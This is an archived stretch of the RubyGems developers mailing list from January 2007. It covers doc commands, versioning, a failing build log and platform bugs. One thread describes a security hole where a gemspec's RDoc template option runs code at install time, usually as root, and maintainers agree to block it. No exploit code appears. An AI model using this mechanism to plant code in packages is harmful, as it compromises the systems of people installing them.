[Rubygems-developers] Gemtacular Now Links to RDocs In-Reply-To: References: <4b6f054f0701171827l68eb054fma63fd8285a4761c4@mail.gmail.com> <4b6f054f0701180923t2e21ebcdle64a74b29a84e7b0@mail.gmail.com> Message-ID: <66E55272-DD77-4695-860F-16171942EFED@segment7.net> On Jan 18, 2007, at 10:02, Hugh Sasse wrote: > Speaking of where the docs might live, I wonder if it would be > useful to have something like: > > gem docs # show where the docs live on your system > gem docs mygem # show where the docs are for mygem on your system These two don't exist, but would be easy to add. > gem servedocs [mygem] > # Spin up a webrick/mongrel/... for you to point > # your browser at to view said docs. This one is gem_server > But this is just thinking out loud. A look through the help of > 0.9.0.8 > doesn't seem to have something like this already It wouldn't be the > first time I've missed something, if I have. -- Eric Hodel - drbrain at segment7.net - http://blog.segment7.net I LIT YOUR GEM ON FIRE! From chad at chadfowler.com Thu Jan 18 14:11:50 2007 From: chad at chadfowler.com (Chad Fowler) Date: Thu, 18 Jan 2007 14:11:50 -0500 Subject: [Rubygems-developers] Gemtacular Now Links to RDocs In-Reply-To: References: <4b6f054f0701171827l68eb054fma63fd8285a4761c4@mail.gmail.com> <4b6f054f0701180923t2e21ebcdle64a74b29a84e7b0@mail.gmail.com> Message-ID: On 1/18/07, Hugh Sasse wrote: > On Thu, 18 Jan 2007, Chad Fowler wrote: > > > On 1/18/07, TRANS wrote: > > > On 1/18/07, Chad Fowler wrote: > > > > > > > Sounds like a pretty serious edge case to me. RDoc isn't something > > > > you generally make a link to. It's something that lives inside your > > > > source and is generated. For all but the rare edge case, I think this > > > > would go unused. > > > > > > Then there has to be a way to dictate proper generation doesn't there? > > > It's going awefully far to designate something an "edge case" b/c it > > > doesn't conform to RDoc documentation. What if someone wants to use a > > > different doc system... What if someone writes a program in such a way > > > that RDoc can't even handle it well --that's rather easy actually. > > > > > > > What if someone wanted to not use Ruby at all? > > :-) Should I hold your coat? :-) > > There is a way to declare what rdoc options to use, which would > determine better generation, but it might be possible to tell it > to use something other than rdoc, and use the options for that. > Or the rdoc options could he kept for if/when rdoc is used, and > since this is YAML one could have an array of alternative doc systems > and a corresponding array of of options. Or maybe a hash. > I'm not sure that one can assert YAGNI in this case: we live in a > world with LaTeX, Lout and DocBook. > I guess I disagree. We can assert YAGNI for RubyGems doc generation. If someone wants to do LaTex, that's fine. They can create another mechanism with which to do it. I don't think we have to extend RubyGems to allow for (or even encourage) divergent documentation systems. We certainly don't prevent them. > On the gems homepage should there not be a link to Gemtacular, now > that it has been blessed (erm, not in the Perl sense...)? > Yea. It will become the RubyGems.org home page soon. Chad From chad at chadfowler.com Thu Jan 18 14:12:45 2007 From: chad at chadfowler.com (Chad Fowler) Date: Thu, 18 Jan 2007 14:12:45 -0500 Subject: [Rubygems-developers] Gemtacular Now Links to RDocs In-Reply-To: <66E55272-DD77-4695-860F-16171942EFED@segment7.net> References: <4b6f054f0701171827l68eb054fma63fd8285a4761c4@mail.gmail.com> <4b6f054f0701180923t2e21ebcdle64a74b29a84e7b0@mail.gmail.com> <66E55272-DD77-4695-860F-16171942EFED@segment7.net> Message-ID: On 1/18/07, Eric Hodel wrote: > On Jan 18, 2007, at 10:02, Hugh Sasse wrote: > > Speaking of where the docs might live, I wonder if it would be > > useful to have something like: > > > > gem docs # show where the docs live on your system > > gem docs mygem # show where the docs are for mygem on your system > > These two don't exist, but would be easy to add. > Yea. I think if we did them, they should be called docpath or something like that. > > gem servedocs [mygem] > > # Spin up a webrick/mongrel/... for you to point > > # your browser at to view said docs. > > This one is gem_server > I wonder if it would be a good idea to deprecate gem_server in favor of "gem server"? Chad From hgs at dmu.ac.uk Thu Jan 18 14:20:17 2007 From: hgs at dmu.ac.uk (Hugh Sasse) Date: Thu, 18 Jan 2007 19:20:17 +0000 (WET) Subject: [Rubygems-developers] Gemtacular Now Links to RDocs In-Reply-To: <66E55272-DD77-4695-860F-16171942EFED@segment7.net> References: <4b6f054f0701171827l68eb054fma63fd8285a4761c4@mail.gmail.com> <4b6f054f0701180923t2e21ebcdle64a74b29a84e7b0@mail.gmail.com> <66E55272-DD77-4695-860F-16171942EFED@segment7.net> Message-ID: On Thu, 18 Jan 2007, Eric Hodel wrote: > On Jan 18, 2007, at 10:02, Hugh Sasse wrote: > > Speaking of where the docs might live, I wonder if it would be > > useful to have something like: > > > > gem docs # show where the docs live on your system > > gem docs mygem # show where the docs are for mygem on your system > > These two don't exist, but would be easy to add. OK, if I get chance I'll have a go at that, now it's considered acceptable. > > > gem servedocs [mygem] > > # Spin up a webrick/mongrel/... for you to point > > # your browser at to view said docs. > > This one is gem_server I thought it was, but couldn't find it. Forgot the _. Maybe that should get a mention in the help. Thanks. Hugh From hgs at dmu.ac.uk Thu Jan 18 14:33:39 2007 From: hgs at dmu.ac.uk (Hugh Sasse) Date: Thu, 18 Jan 2007 19:33:39 +0000 (WET) Subject: [Rubygems-developers] Gemtacular Now Links to RDocs In-Reply-To: References: <4b6f054f0701171827l68eb054fma63fd8285a4761c4@mail.gmail.com> <4b6f054f0701180923t2e21ebcdle64a74b29a84e7b0@mail.gmail.com> Message-ID: On Thu, 18 Jan 2007, Chad Fowler wrote: > On 1/18/07, Hugh Sasse wrote: > > Or the rdoc options could he kept for if/when rdoc is used, and > > since this is YAML one could have an array of alternative doc systems > > and a corresponding array of of options. Or maybe a hash. > > I'm not sure that one can assert YAGNI in this case: we live in a > > world with LaTeX, Lout and DocBook. > > > > I guess I disagree. We can assert YAGNI for RubyGems doc generation. > If someone wants to do LaTex, that's fine. They can create another > mechanism with which to do it. I don't think we have to extend > RubyGems to allow for (or even encourage) divergent documentation > systems. We certainly don't prevent them. But leaving the facility out means that there's presently no way to leave options for how other docs should appear, in the gemspec; or is there? I'm all for standardising on RDoc, but I think things should be kept open, extensible. Someone may produce a better Rdoc. And someone may have good reasons for departing from Rdoc -- heavily mathematical applications may need Mathml support or LaTeX or... One thing I've felt about Ruby itself is that it embodies such flexibility with the way you can add blocks in all sorts of places, and this gives great power... > > On the gems homepage should there not be a link to Gemtacular, now > > that it has been blessed (erm, not in the Perl sense...)? > > > > Yea. It will become the RubyGems.org home page soon. OK, I'd just lost it, and thought a link would be good for now. > > Chad Thank you, Hugh From hgs at dmu.ac.uk Thu Jan 18 14:34:54 2007 From: hgs at dmu.ac.uk (Hugh Sasse) Date: Thu, 18 Jan 2007 19:34:54 +0000 (WET) Subject: [Rubygems-developers] Gemtacular Now Links to RDocs In-Reply-To: References: <4b6f054f0701171827l68eb054fma63fd8285a4761c4@mail.gmail.com> <4b6f054f0701180923t2e21ebcdle64a74b29a84e7b0@mail.gmail.com> <66E55272-DD77-4695-860F-16171942EFED@segment7.net> Message-ID: On Thu, 18 Jan 2007, Chad Fowler wrote: > On 1/18/07, Eric Hodel wrote: > > On Jan 18, 2007, at 10:02, Hugh Sasse wrote: > > > Speaking of where the docs might live, I wonder if it would be > > > useful to have something like: > > > > > > gem docs # show where the docs live on your system > > > gem docs mygem # show where the docs are for mygem on your system > > > > These two don't exist, but would be easy to add. > > > > Yea. I think if we did them, they should be called docpath or > something like that. Yes, that's a more specific name. > > > > gem servedocs [mygem] > > > # Spin up a webrick/mongrel/... for you to point > > > # your browser at to view said docs. > > > > This one is gem_server > > > > I wonder if it would be a good idea to deprecate gem_server in favor > of "gem server"? That's what I looked for, then 'gemserver' :-) > > Chad Thank you, Hugh From drbrain at segment7.net Thu Jan 18 16:29:32 2007 From: drbrain at segment7.net (Eric Hodel) Date: Thu, 18 Jan 2007 13:29:32 -0800 Subject: [Rubygems-developers] Cleaning up bin/ (Was: Gemtacular Now Links to RDocs) In-Reply-To: References: <4b6f054f0701171827l68eb054fma63fd8285a4761c4@mail.gmail.com> <4b6f054f0701180923t2e21ebcdle64a74b29a84e7b0@mail.gmail.com> <66E55272-DD77-4695-860F-16171942EFED@segment7.net> Message-ID: <222A0F6A-A6BA-497D-BD17-D98559277EB8@segment7.net> On Jan 18, 2007, at 11:12, Chad Fowler wrote: > On 1/18/07, Eric Hodel wrote: >> This one is gem_server >> > > I wonder if it would be a good idea to deprecate gem_server in favor > of "gem server"? I thought about folding all the bin/blah scripts into the gem command, but leaving stubs for backwards compatibility. If you're for it I'm for it. -- Eric Hodel - drbrain at segment7.net - http://blog.segment7.net I LIT YOUR GEM ON FIRE! From chad at chadfowler.com Thu Jan 18 16:50:01 2007 From: chad at chadfowler.com (Chad Fowler) Date: Thu, 18 Jan 2007 14:50:01 -0700 Subject: [Rubygems-developers] Cleaning up bin/ (Was: Gemtacular Now Links to RDocs) In-Reply-To: <222A0F6A-A6BA-497D-BD17-D98559277EB8@segment7.net> References: <4b6f054f0701171827l68eb054fma63fd8285a4761c4@mail.gmail.com> <4b6f054f0701180923t2e21ebcdle64a74b29a84e7b0@mail.gmail.com> <66E55272-DD77-4695-860F-16171942EFED@segment7.net> <222A0F6A-A6BA-497D-BD17-D98559277EB8@segment7.net> Message-ID: On 1/18/07, Eric Hodel wrote: > On Jan 18, 2007, at 11:12, Chad Fowler wrote: > > > On 1/18/07, Eric Hodel wrote: > >> This one is gem_server > >> > > > > I wonder if it would be a good idea to deprecate gem_server in favor > > of "gem server"? > > I thought about folding all the bin/blah scripts into the gem > command, but leaving stubs for backwards compatibility. > > If you're for it I'm for it. > I think it's a good idea. The old scripts in there actually date back to before we had a flexible command line interface (it was just all hardcoded in an opt config). Chad From transfire at gmail.com Thu Jan 18 17:34:11 2007 From: transfire at gmail.com (TRANS) Date: Thu, 18 Jan 2007 17:34:11 -0500 Subject: [Rubygems-developers] How do you indicate a post-1.0 release candidate gem version? In-Reply-To: References: Message-ID: <4b6f054f0701181434l56d699bt6877ba5539aa236d@mail.gmail.com> On 1/15/07, Chad Woolley wrote: > Hi, > > There's an interesting thread on the Mongrel Users list, where a > Debian package manager is asking questions about RubyGem's versioning > standards. > > Here's my last post which I think summarizes most of it: > > http://rubyforge.org/pipermail/mongrel-users/2007-January/002694.html > > Basically, the question is - how do you specify a release candidate > version for a version that is post 1.0? Specifically, if people are > automatically pulling all the latest version of a gem (">= 1.0.0"), > how can they say "I ONLY want stable releases, not alpha versions or > release candidates"? Does RubyGems support any version numbering (or > version specifications) other than the "[(in)equality operator] > x[.y.z]" pattern, where x, y, and z are numeric? If not, is this an > unnecessary limitation? What are workarounds? I've wondered about this too. One idea that occured to me was to prefix a "0." to the version. Eg. 0.1.2.1 is a work in progress release for 1.2. (Obvioulsy this means not using 0.x releases for anything else.) It's a workable solution, but I've never bothered myself. I figure "fixed" versions are a bit overrated anyway. By the time many people are aware of 1.2 your on to 1.2.1. So in a sense every release is a release candiate for the next version. T. From anthonyeden at gmail.com Thu Jan 18 21:16:28 2007 From: anthonyeden at gmail.com (Anthony Eden) Date: Thu, 18 Jan 2007 21:16:28 -0500 Subject: [Rubygems-developers] Is This Fixed? Message-ID: Take a look at the following Rails ticket: http://dev.rubyonrails.org/ticket/2346 Will this be fixed now with all of new enhancements and reworking of the rubygems code? It's not really a concern of mine, but since I'm going through old Rails tickets I figure I'd see if it was a known issue and if so if it has been addressed. V/r Anthony Eden -- Cell: 808 782-5046 Current Location: Melbourne, FL From drbrain at segment7.net Thu Jan 18 22:11:00 2007 From: drbrain at segment7.net (Eric Hodel) Date: Thu, 18 Jan 2007 19:11:00 -0800 Subject: [Rubygems-developers] Is This Fixed? In-Reply-To: References: Message-ID: <9065E653-C5C3-4A48-BF7B-2FE0848DE2AC@segment7.net> On Jan 18, 2007, at 18:16, Anthony Eden wrote: > Take a look at the following Rails ticket: > > http://dev.rubyonrails.org/ticket/2346 > > Will this be fixed now with all of new enhancements and reworking of > the rubygems code? It's not really a concern of mine, but since I'm > going through old Rails tickets I figure I'd see if it was a known > issue and if so if it has been addressed. > But when running through rubygems, when initializer.rb is required, > it actually loads the entire framework BEFORE requiring > initializer.rb (traced this through w/ a bunch of hacked puts > statements). If Rails is still using require_gem and has autorequire set, this may be a problem. Don't do that. (use require_gem or autorequire). > The 'require' definition of rubygems goes ahead and activates all > the dependent gems as well. If you require 'x' (and 'x' is in gem foo then foo's lib directories will be added to $:) then 'x.mumble' will be loaded. Other than the part in the parentheses, RubyGems' require should behave exactly as Kernel#require. I didn't check, but I believe it in fact does. If you're using require_gem, and have autorequire in your gemspec, then bad things may happen. If Rails is using require_gem still, that may be a problem. There's a separate ticket for that: http://dev.rubyonrails.org/ticket/6886 -- Eric Hodel - drbrain at segment7.net - http://blog.segment7.net I LIT YOUR GEM ON FIRE! From anatol.pomozov at gmail.com Thu Jan 18 22:22:22 2007 From: anatol.pomozov at gmail.com (Cerberus) Date: Fri, 19 Jan 2007 06:22:22 +0300 Subject: [Rubygems-developers] [rubygems] Build still broken (#1202) Message-ID: <45b0396e9c400_9cc17418681fb@ubuntu.tmail> ------------------------------------------------------------------------ r1202 | drbrain | 2007-01-19 06:03:47 +0300 | 1 line Changed paths: M /trunk/lib/rubygems/source_info_cache_entry.rb um, yeah, that's lame ------------------------------------------------------------------------ (in C:/Documents and Settings/anatol/.cerberus/work/rubygems/sources) require_gem is obsolete. Use gem instead. Loaded suite c:/PROGRA~1/ruby/lib/ruby/gems/1.8/gems/rake-0.7.1/lib/rake/rake_test_loader Started .........................................................................F..................................................................EE......................................................................................................................................................... Finished in 22.781 seconds. 1) Failure: test_class_build(TestGemExtRakeBuilder) [./test/test_gem_ext_rake_builder.rb:35]: <["rake RUBYARCHDIR=C:/DOCUME~1/anatol/LOCALS~1/Temp/test_rubygems_2552/prefix RUBYLIBDIR=C:/DOCUME~1/anatol/LOCALS~1/Temp/test_rubygems_2552/prefix extension", "(in C:/DOCUME~1/anatol/LOCALS~1/Temp/test_rubygems_2552/ext)\n"]> expected but was <["rake RUBYARCHDIR=C:/DOCUME~1/anatol/LOCALS~1/Temp/test_rubygems_2552/prefix RUBYLIBDIR=C:/DOCUME~1/anatol/LOCALS~1/Temp/test_rubygems_2552/prefix extension", "(in C:/DOCUME~1/anatol/LOCALS~1/Temp/test_rubygems_2552/ext)\nrequire_gem is obsolete. Use gem instead.\n"]>. 2) Error: test_install_bad_gem(TestInstaller): Errno::EACCES: Permission denied - C:/DOCUME~1/anatol/LOCALS~1/Temp/test_rubygems_2552/gemhome/cache/broken-1.0.0.gem c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1281:in `unlink' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1281:in `remove_file' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1289:in `platform_support' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1280:in `remove_file' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1269:in `remove' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:748:in `remove_entry' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1319:in `postorder_traverse' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1323:in `postorder_traverse' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1318:in `postorder_traverse' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1317:in `postorder_traverse' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1318:in `postorder_traverse' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1317:in `postorder_traverse' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1318:in `postorder_traverse' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1317:in `postorder_traverse' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:746:in `remove_entry' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:604:in `rm_r' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:600:in `rm_r' ./test/gemutilities.rb:78:in `teardown' 3) Error: test_install_with_message(TestInstaller): Errno::EACCES: Permission denied - C:/DOCUME~1/anatol/LOCALS~1/Temp/test_rubygems_2552/gemhome/cache/broken-1.0.0.gem c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1281:in `unlink' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1281:in `remove_file' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1289:in `platform_support' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1280:in `remove_file' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1269:in `remove' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:748:in `remove_entry' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1319:in `postorder_traverse' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1323:in `postorder_traverse' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1318:in `postorder_traverse' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1317:in `postorder_traverse' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1318:in `postorder_traverse' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1317:in `postorder_traverse' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1318:in `postorder_traverse' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1317:in `postorder_traverse' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:746:in `remove_entry' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:604:in `rm_r' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:600:in `rm_r' ./test/gemutilities.rb:78:in `teardown' 295 tests, 1027 assertions, 1 failures, 2 errors rake aborted! Command failed with status (1): [c:/PROGRA~1/ruby/bin/ruby -w -Ilib "c:/PRO...] (See full trace by running task with --trace) -- Cerberus 0.3.3, http://cerberus.rubyforge.org/ From chad at spicycode.com Thu Jan 18 23:04:02 2007 From: chad at spicycode.com (Chad Humphries) Date: Thu, 18 Jan 2007 23:04:02 -0500 Subject: [Rubygems-developers] [gemtacular] - a question Message-ID: Hey guys, I wanted to post here about a site I developed and how it relates to gemtacular. I've been working on and off on rubyfurnace ( http://rubyfurnace.com/) since RubyConf. My wife and I had our first child at the beginning of the year and as one might imagine free time was on hold for dec/jan. I finally got what I had done with rubyfurnace out a few days ago after I got a new hosting package. A lot of what gemtacular does my site does and vice versa. I also have plugins on the site, but we'll leave them at the door considering this is the rubygems list. I've posted a little more about what it does/doesn't on my blog ( spicycode.com) if anyone cares to read. The point of this post is mainly to say hello and see if there is a good way to combine development efforts (where/when possible). If there is a better list to redirect this to let me know. Thanks for any input/feedback/etc. Chad Humphries http://spicycode.com -------------- next part -------------- An HTML attachment was scrubbed... URL: http://rubyforge.org/pipermail/rubygems-developers/attachments/20070118/4e92c7f4/attachment.html From jim at weirichhouse.org Thu Jan 18 23:50:29 2007 From: jim at weirichhouse.org (Jim Weirich) Date: Thu, 18 Jan 2007 23:50:29 -0500 Subject: [Rubygems-developers] Trojan a RubyGems Package in 3 Easy Steps (was "Re: Need to release 0.9.1 due to security exploit") In-Reply-To: <20070117040512.GX15628@vault.home.pablotron.org> References: <65B8F424-2351-484B-86E6-777585CF68BA@segment7.net> <20070113065815.GK15628@vault.home.pablotron.org> <8103E2AF-DE3E-4A0D-8ACB-327FC7F40DFD@segment7.net> <20070116221159.GW15628@vault.home.pablotron.org> <9FC6EFB8-220C-4AE7-8B74-63DF43A6707D@segment7.net> <20070117040512.GX15628@vault.home.pablotron.org> Message-ID: <45B04E15.50401@weirichhouse.org> Paul Duncan wrote: [...] > The gist of the output above is that if you pass RDoc a template (the -T > or --template command-line options) via the Gem specification file, it's > evaluated and _executed at _installation time_ as the _installation user_ > (which is usually root on Unix systems). Would it be enough to disable the --template option from gemspecs? I have no problem locking down the options that a gem author can specify for RDoc generation. (I think the options should be site specific anyways, so all docs on my box have a consistent look. I don't care if the gem author doesn't like my choice of template). -- Jim Weirich From rubygems at freeze.org Thu Jan 18 23:50:49 2007 From: rubygems at freeze.org (Jim Freeze) Date: Thu, 18 Jan 2007 22:50:49 -0600 Subject: [Rubygems-developers] [gemtacular] - a question In-Reply-To: References: Message-ID: <3E69FC22-96EC-40EB-9B5C-7E6B3E7EEDAF@freeze.org> Hi Chad On Jan 18, 2007, at 10:04 PM, Chad Humphries wrote: > Hey guys, I wanted to post here about a site I developed and how it > relates to gemtacular. I've been working on and off on rubyfurnace > ( http://rubyfurnace.com/) since RubyConf. My wife and I had our > first child at the beginning of the year and as one might imagine > free time was on hold for dec/jan. I finally got what I had done > with rubyfurnace out a few days ago after I got a new hosting package. Nice site. BTW, I just noticed that it lists as my latest gem commandline-0.7.9, when it is actually commandline-0.7.10. In this case, it is a bit misleading on what the latest version is. Jim Freeze -------------- next part -------------- An HTML attachment was scrubbed... URL: http://rubyforge.org/pipermail/rubygems-developers/attachments/20070118/516778fb/attachment-0001.html From jim at weirichhouse.org Fri Jan 19 00:05:55 2007 From: jim at weirichhouse.org (Jim Weirich) Date: Fri, 19 Jan 2007 00:05:55 -0500 Subject: [Rubygems-developers] [gemtacular] - a question In-Reply-To: <3E69FC22-96EC-40EB-9B5C-7E6B3E7EEDAF@freeze.org> References: <3E69FC22-96EC-40EB-9B5C-7E6B3E7EEDAF@freeze.org> Message-ID: <45B051B3.9040205@weirichhouse.org> Jim Freeze wrote: > Nice site. BTW, I just noticed that it lists as my latest gem > commandline-0.7.9, when it is actually commandline-0.7.10. > In this case, it is a bit misleading on what the latest version is. Yes, it looks like it is doing a simple textual sort of the versions. I would recommend using the RubyGems Version object and sorting those. $ irb --simple-prompt >> require 'rubygems' => false >> [Gem::Version.new("1.10"), Gem::Version.new("1.9")].sort.map { |t| t.version } => ["1.9", "1.10"] -- Jim Weirich From chad at spicycode.com Fri Jan 19 00:52:43 2007 From: chad at spicycode.com (Chad Humphries) Date: Fri, 19 Jan 2007 00:52:43 -0500 Subject: [Rubygems-developers] [gemtacular] - a question In-Reply-To: <45B051B3.9040205@weirichhouse.org> References: <3E69FC22-96EC-40EB-9B5C-7E6B3E7EEDAF@freeze.org> <45B051B3.9040205@weirichhouse.org> Message-ID: Cool, thanks for the tip Jim. I'm enjoying rubygems more and more. This project has made me understand a lot more about the internals of it. I'm moving the code to a public repo tomorrow so everyone can get a better look at it. -Chad On 1/19/07, Jim Weirich wrote: > > Jim Freeze wrote: > > Nice site. BTW, I just noticed that it lists as my latest gem > > commandline-0.7.9, when it is actually commandline-0.7.10. > > In this case, it is a bit misleading on what the latest version is. > > Yes, it looks like it is doing a simple textual sort of the versions. I > would recommend using the RubyGems Version object and sorting those. > > $ irb --simple-prompt > >> require 'rubygems' > => false > >> [Gem::Version.new("1.10"), Gem::Version.new("1.9")].sort.map { |t| > t.version } > => ["1.9", "1.10"] > > > -- Jim Weirich > _______________________________________________ > Rubygems-developers mailing list > Rubygems-developers at rubyforge.org > http://rubyforge.org/mailman/listinfo/rubygems-developers > -------------- next part -------------- An HTML attachment was scrubbed... URL: http://rubyforge.org/pipermail/rubygems-developers/attachments/20070119/f7d83cfd/attachment.html From chad at spicycode.com Fri Jan 19 01:17:23 2007 From: chad at spicycode.com (Chad Humphries) Date: Fri, 19 Jan 2007 01:17:23 -0500 Subject: [Rubygems-developers] [gemtacular] - a question In-Reply-To: References: <3E69FC22-96EC-40EB-9B5C-7E6B3E7EEDAF@freeze.org> <45B051B3.9040205@weirichhouse.org> Message-ID: I've put in place a quick fix to the versions sort while I investigate the Gem::Version this weekend. -Chad On 1/19/07, Chad Humphries wrote: > > Cool, thanks for the tip Jim. I'm enjoying rubygems more and more. This > project has made me understand a lot more about the internals of it. > > I'm moving the code to a public repo tomorrow so everyone can get a better > look at it. > > -Chad > > > On 1/19/07, Jim Weirich wrote: > > > > Jim Freeze wrote: > > > Nice site. BTW, I just noticed that it lists as my latest gem > > > commandline-0.7.9, when it is actually commandline-0.7.10. > > > In this case, it is a bit misleading on what the latest version is. > > > > Yes, it looks like it is doing a simple textual sort of the versions. I > > would recommend using the RubyGems Version object and sorting those. > > > > $ irb --simple-prompt > > >> require 'rubygems' > > => false > > >> [Gem::Version.new("1.10"), Gem::Version.new("1.9")].sort.map { |t| > > t.version } > > => ["1.9", "1.10"] > > > > > > -- Jim Weirich > > _______________________________________________ > > Rubygems-developers mailing list > > Rubygems-developers at rubyforge.org > > http://rubyforge.org/mailman/listinfo/rubygems-developers > > > > -------------- next part -------------- An HTML attachment was scrubbed... URL: http://rubyforge.org/pipermail/rubygems-developers/attachments/20070119/d8481843/attachment.html From charles.nutter at sun.com Fri Jan 19 02:15:02 2007 From: charles.nutter at sun.com (Charles Oliver Nutter) Date: Fri, 19 Jan 2007 01:15:02 -0600 Subject: [Rubygems-developers] I'm here Message-ID: <45B06FF6.1030404@sun.com> DrBrain recommended I join the list, and it seemed like a good idea, so I'm here. What have I missed? :) - Charlie From anthonyeden at gmail.com Fri Jan 19 07:47:38 2007 From: anthonyeden at gmail.com (Anthony Eden) Date: Fri, 19 Jan 2007 07:47:38 -0500 Subject: [Rubygems-developers] [gemtacular] - a question In-Reply-To: References: Message-ID: Chad, The code for gemtacular is up on RubyForge, so feel free to use what you would like and to contribute as you see fit. V/r Anthony Eden On 1/18/07, Chad Humphries wrote: > Hey guys, I wanted to post here about a site I developed and how it relates > to gemtacular. I've been working on and off on rubyfurnace ( > http://rubyfurnace.com/) since RubyConf. My wife and I had our first child > at the beginning of the year and as one might imagine free time was on hold > for dec/jan. I finally got what I had done with rubyfurnace out a few days > ago after I got a new hosting package. > > A lot of what gemtacular does my site does and vice versa. I also have > plugins on the site, but we'll leave them at the door considering this is > the rubygems list. I've posted a little more about what it does/doesn't on > my blog ( spicycode.com) if anyone cares to read. > > The point of this post is mainly to say hello and see if there is a good way > to combine development efforts (where/when possible). If there is a better > list to redirect this to let me know. > > Thanks for any input/feedback/etc. > > Chad Humphries > http://spicycode.com > _______________________________________________ > Rubygems-developers mailing list > Rubygems-developers at rubyforge.org > http://rubyforge.org/mailman/listinfo/rubygems-developers > > -- Cell: 808 782-5046 Current Location: Melbourne, FL From hgs at dmu.ac.uk Fri Jan 19 12:16:25 2007 From: hgs at dmu.ac.uk (Hugh Sasse) Date: Fri, 19 Jan 2007 17:16:25 +0000 (WET) Subject: [Rubygems-developers] TODO: Better name # How about... Message-ID: Reading through 0.9.1 (newest tarball I could find) as I wanted to dev patches for docpath, in cmd_manager: ################################################################### # Signals that local installation will not proceed, not that it has # been tried and failed. TODO: better name. class LocalInstallationError < Gem::Exception; end OK, how about class LocalInstallHalted < Gem::Exception; end Should convey that things have come to a stop, so we don't need to call it Error. Seems to be unused, so far. Hugh From drbrain at segment7.net Fri Jan 19 13:27:35 2007 From: drbrain at segment7.net (Eric Hodel) Date: Fri, 19 Jan 2007 10:27:35 -0800 Subject: [Rubygems-developers] Trojan a RubyGems Package in 3 Easy Steps (was "Re: Need to release 0.9.1 due to security exploit") In-Reply-To: <45B04E15.50401@weirichhouse.org> References: <65B8F424-2351-484B-86E6-777585CF68BA@segment7.net> <20070113065815.GK15628@vault.home.pablotron.org> <8103E2AF-DE3E-4A0D-8ACB-327FC7F40DFD@segment7.net> <20070116221159.GW15628@vault.home.pablotron.org> <9FC6EFB8-220C-4AE7-8B74-63DF43A6707D@segment7.net> <20070117040512.GX15628@vault.home.pablotron.org> <45B04E15.50401@weirichhouse.org> Message-ID: <88AF7ED3-1269-4CBB-B5BE-28D134F0F35F@segment7.net> On Jan 18, 2007, at 20:50, Jim Weirich wrote: > Paul Duncan wrote: > [...] >> The gist of the output above is that if you pass RDoc a template >> (the -T >> or --template command-line options) via the Gem specification >> file, it's >> evaluated and _executed at _installation time_ as the >> _installation user_ >> (which is usually root on Unix systems). > > Would it be enough to disable the --template option from gemspecs? I > have no problem locking down the options that a gem author can specify > for RDoc generation. (I think the options should be site specific > anyways, so all docs on my box have a consistent look. I don't > care if > the gem author doesn't like my choice of template). I'm down with this. -- Eric Hodel - drbrain at segment7.net - http://blog.segment7.net I LIT YOUR GEM ON FIRE! From drbrain at segment7.net Fri Jan 19 13:28:21 2007 From: drbrain at segment7.net (Eric Hodel) Date: Fri, 19 Jan 2007 10:28:21 -0800 Subject: [Rubygems-developers] I'm here In-Reply-To: <45B06FF6.1030404@sun.com> References: <45B06FF6.1030404@sun.com> Message-ID: <4F290ACF-211F-441E-9296-CEA5D543CEE6@segment7.net> On Jan 18, 2007, at 23:15, Charles Oliver Nutter wrote: > DrBrain recommended I join the list, and it seemed like a good > idea, so > I'm here. What have I missed? :) Relating to jruby, not much. I expect to get around to that in a week or so. -- Eric Hodel - drbrain at segment7.net - http://blog.segment7.net I LIT YOUR GEM ON FIRE! From jos at catnook.com Fri Jan 19 16:49:44 2007 From: jos at catnook.com (Jos Backus) Date: Fri, 19 Jan 2007 13:48:44 -0801 Subject: [Rubygems-developers] `gem outdated' ignores platform Message-ID: <20070119214906.GA20813@lizzy.catnook.local> This on Linux. RubyGems erroneously thinks the mysql gem needs to be updated: # gem outdated mysql (2.7 < 2.7.3) # gem update Updating installed gems... Attempting remote update of mysql Select which gem to install for your platform (i386-linux) 1. mysql 2.7.3 (mswin32) 2. mysql 2.7.1 (mswin32) 3. mysql 2.7 (ruby) 4. mysql 2.6 (ruby) 5. Skip this gem 6. Cancel installation > 6 ERROR: While executing gem ... (Gem::RemoteInstallationCancelled) Installation of mysql cancelled. # As can be seen, there is no newer version applying to the current platform. (Minor) Entering EOF (Ctrl-D) at the option prompt yields an error: # gem update Updating installed gems... Attempting remote update of mysql Select which gem to install for your platform (i386-linux) 1. mysql 2.7.3 (mswin32) 2. mysql 2.7.1 (mswin32) 3. mysql 2.7 (ruby) 4. mysql 2.6 (ruby) 5. Skip this gem 6. Cancel installation > ERROR: While executing gem ... (NoMethodError) undefined method `strip' for 